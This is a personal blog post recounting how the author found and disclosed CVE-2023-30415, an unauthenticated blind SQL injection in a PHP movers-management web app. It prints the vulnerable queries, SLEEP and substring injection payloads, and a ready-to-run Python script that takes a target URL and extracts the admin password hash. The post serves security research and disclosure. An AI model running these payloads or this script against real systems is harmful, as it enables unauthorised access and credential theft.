Getting my first CVE

reflections, tutorials

After passing my OSWE in March and dealing with some long neglected life issues, I decided to put my skills to the test and hunt for a CVE. It felt like a rite of passage for OSWE passers.

Recon

My first approach was to find projects written in languages that are easy to make mistakes in but that are also very popular. PHP is the prime candidate here, so I looked up php open source projects on google and quickly discovered sourcecodetester.com among the first results.

I started perusing through random projects and downloading them locally to run them. This approach netted me a substantial number of critical findings, but whenever I wanted to report them to MITRE, I would find out that they were already assigned a CVE. Nonetheless, it was a nice confidence booster that I was able to find those vulnerabilities so easily.

This meant I had to up my game a bit. I had to look for projects that were at least somewhat secure. After a more careful analysis, I found the Packers and Movers Management system

What caught my attention on this project was that the admin pages called in a header function that itself was checking for session.

This was good news, it meant that whoever designed this took some authorization considerations into account.

Exploit Discovery

I took a shortcut here, and instead of following user input paths like I normally do, I went straight to the source code and searched for “query” in an attempt to grab an easy win.

I found some results, but they were all behind the dreaded admin login, which would drastically reduce the impact of those findings.

However, upon a closer inpection, I quickly realized that the header function was only used for the direct subpages of /admin, but would often not be used deeper into the application.

As an example, /admin/index.php uses the header, but /admin/inquiries/view_inquiry.php does not and also uses an unsanitized query right at the start of the file!

I was able to locate this particular piece of code in the application.

This meant that any input after the id parameter would pass unfiltered through these 2 lines:

    $conn->query("UPDATE `inquiry_list` set `status` = 1 where id = '{$_GET['id']}'");
    $qry = $conn->query("SELECT **  from `inquiry_list` where id = '{$_GET['id']}'");

Since view_inquiry.php does not use the session header, it means that we can attack the id parameter without any need for authentication.

Let’s test it with a classic SLEEP payload:

GET /mpms/admin/?page=inquiries/view_inquiry&id=4'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))test)--+

Looking at the response time, we can see it took just over 8 seconds, which happens because the id parameter is passed through two querries. That confirms our Blind SQL Injection.

Let’s experiment with some more payloads and look if there are any differences in the content length.

GET /mpms/admin/?page=inquiries/view_inquiry&id=4'+AND+(ascii(substring((SELECT+password+FROM+mpms_db.users+WHERE+id=1+LIMIT
+1),1,1))=48)--+ 
GET /mpms/admin/?page=inquiries/view_inquiry&id=4'+AND+(ascii(substring((SELECT+password+FROM+mpms_db.users+WHERE+id=1+LIMIT
+1),1,1))=47)--+ 

It does look like we get different content lengths when the query fails to execute. This means we can start working on an exploit right away.

The Exploit

The exploit is actually surprisingly simple. I ended up pruning the GET request of all uneccessary headers to get the request size down, wrote a for loop for the Blind SQL Injection and then a get_token function to store the token. Here it is:

import requests

session = requests.session()

expected_size = 26845

def get_char(session, pos):
    for char in range(32, 126):
        sql_payload = f'\' AND (ascii(substring((SELECT password FROM mpms_db.users WHERE id=1 LIMIT 1),{pos},1))={char})-- '
        r = session.get('http://localhost:80/mpms/admin/?page=inquiries/view_inquiry&id=4' + sql_payload)
        #print(len(r.content))
        if len(r.content) == expected_size:
            return chr(char)
    print('Error at ' + str(char))
    exit()

def get_token(session):
    token = ""
    for pos in range(1, 33):
        token += get_char(session, pos)
    print("The Full MD5 password is " + str(token))    
    return token

get_token(session)

All that preparation for 25 lines of code. Let’s run it and wait a few seconds:

We now have our MD5 password. Passing it through an online hash cracker, we get the password admin123:

Which is exactly the password used in the source page:

The Report

With those proofs in hand, I used the CVE MITRE website to complete the form and report the CVE via https://www.cve.org/ReportRequest/ReportRequestForNonCNAs.

After about a month, I received my CVE ID, CVE-2023-30415

I have emailed sourcecodester.com with a detailed explanation of the exploit and the proof of concept. Considerably way over 90 days have passed since, so this is me making it public as according to the reasonable disclosure procedure.

Overall, I had a lot of fun finding my first CVE, as trivial as it was. It helped me developed my own confidence and ability to quickly scan code repos for common mistakes. I have been busy with other interests lately but I have managed to secure a decent amount of AppSec and code review engagements at work, so I have been doing my best to keep learning and hone my skills even if I am not actively hunting for CVEs. I would recommend any aspiring AppSec hacker to have a go at it, even if you don’t manage to secure a CVE, just finding some vulnerabilities will do wonders for your confidence.

Before I go, here is a more updated version of the exploit:

import requests
import sys

session = requests.session()

expected_size = 26845

if len(sys.argv) < 2:
    print("Usage: python exploit.py <URL>")
    sys.exit(1)

url = sys.argv[1]

def get_char(session, pos):
    for char in range(32, 126):
        sql_payload = f'\' AND (ascii(substring((SELECT password FROM mpms_db.users WHERE id=1 LIMIT 1),{pos},1))={char})-- '
        r = session.get(url + '/mpms/admin/?page=inquiries/view_inquiry&id=4' + sql_payload)
        #print(len(r.content))
        if len(r.content) == expected_size:
            return chr(char)
    print('Error at ' + str(char))
    exit()

def get_token(session):
    token = ""
    for pos in range(1, 33):
        token += get_char(session, pos)
    print("The Full MD5 password is " + str(token))    
    return token

get_token(session)